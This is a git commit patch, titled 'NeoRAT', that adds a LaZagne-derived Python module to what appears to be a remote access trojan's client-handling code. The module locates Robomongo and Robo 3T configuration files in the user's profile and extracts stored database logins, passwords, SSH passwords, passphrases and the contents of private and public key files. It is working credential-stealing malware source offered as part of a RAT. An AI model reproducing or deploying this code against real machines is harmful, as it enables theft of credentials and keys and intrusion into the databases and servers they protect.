From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001
From: AL-LCL <alvin@alvinhavel.com>
Date: Fri, 19 May 2023 11:01:49 +0200
Subject: NeoRAT

---
 .../lazagne/softwares/databases/robomongo.py       | 101 +++++++++++++++++++++
 1 file changed, 101 insertions(+)
 create mode 100644 foreign/client_handling/lazagne/softwares/databases/robomongo.py

(limited to 'foreign/client_handling/lazagne/softwares/databases/robomongo.py')

diff --git a/foreign/client_handling/lazagne/softwares/databases/robomongo.py b/foreign/client_handling/lazagne/softwares/databases/robomongo.py
new file mode 100644
index 0000000..f7148d4
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/robomongo.py
@@ -0,0 +1,101 @@
+# -*- coding: utf-8 -*- 
+import json
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Robomongo(ModuleInfo):
+
+    def __init__(self):
+        ModuleInfo.__init__(self, 'robomongo', 'databases')
+
+        self.paths = [
+            {
+                'directory': u'.config/robomongo',
+                'filename': u'robomongo.json',
+            },
+            {
+                'directory': u'.3T/robo-3t/1.1.1',
+                'filename': u'robo3t.json',
+            }
+        ]
+
+    def read_file_content(self, file_path):
+        """
+        Read the content of a file
+
+        :param file_path: Path of the file to read.
+
+        :return: File content as string.
+        """
+        content = ""
+        if os.path.isfile(file_path):
+            with open(file_path, 'r') as file_handle:
+                content = file_handle.read()
+
+        return content
+
+    def parse_json(self, connection_file_path):
+        repos_creds = []
+        if not os.path.exists(connection_file_path):
+            return repos_creds
+        with open(connection_file_path) as connection_file:
+            try:
+                connections_infos = json.load(connection_file)
+            except Exception:
+                return repos_creds
+            for connection in connections_infos.get("connections", []):
+                try:
+                    creds = {
+                        "Name": connection["connectionName"],
+                        "Host": connection["serverHost"],
+                        "Port": connection["serverPort"]
+                    }
+                    crd = connection["credentials"][0]
+                    if crd.get("enabled"):
+                        creds.update({
+                            "AuthMode": "CREDENTIALS",
+                            "DatabaseName": crd["databaseName"],
+                            "AuthMechanism": crd["mechanism"],
+                            "Login": crd["userName"],
+                            "Password": crd["userPassword"]
+                        })
+                    else:
+                        creds.update({
+                            "Host": connection["ssh"]["host"],
+                            "Port": connection["ssh"]["port"],
+                            "Login": connection["ssh"]["userName"]
+                        })
+                        if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password":
+                            creds.update({
+                                "AuthMode": "SSH_CREDENTIALS",
+                                "Password": connection["ssh"]["userPassword"]
+                            })
+                        else:
+                            creds.update({
+                                "AuthMode": "SSH_PRIVATE_KEY",
+                                "Passphrase": connection["ssh"]["passphrase"],
+                                "PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]),
+                                "PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"])
+                            })
+                    repos_creds.append(creds)
+                except Exception as e:
+                    self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e))
+
+        return repos_creds
+
+    def run(self):
+        """
+        Extract all connection's credentials.
+
+        :return: List of dict in which one dict contains all information for a connection.
+        """
+        pwd_found = []
+        for directory in self.paths:
+            connection_file_path = os.path.join(constant.profile['USERPROFILE'],
+                                                directory['directory'],
+                                                directory['filename'])
+            pwd_found.extend(self.parse_json(connection_file_path))
+        return pwd_found
-- 
cgit v1.2.3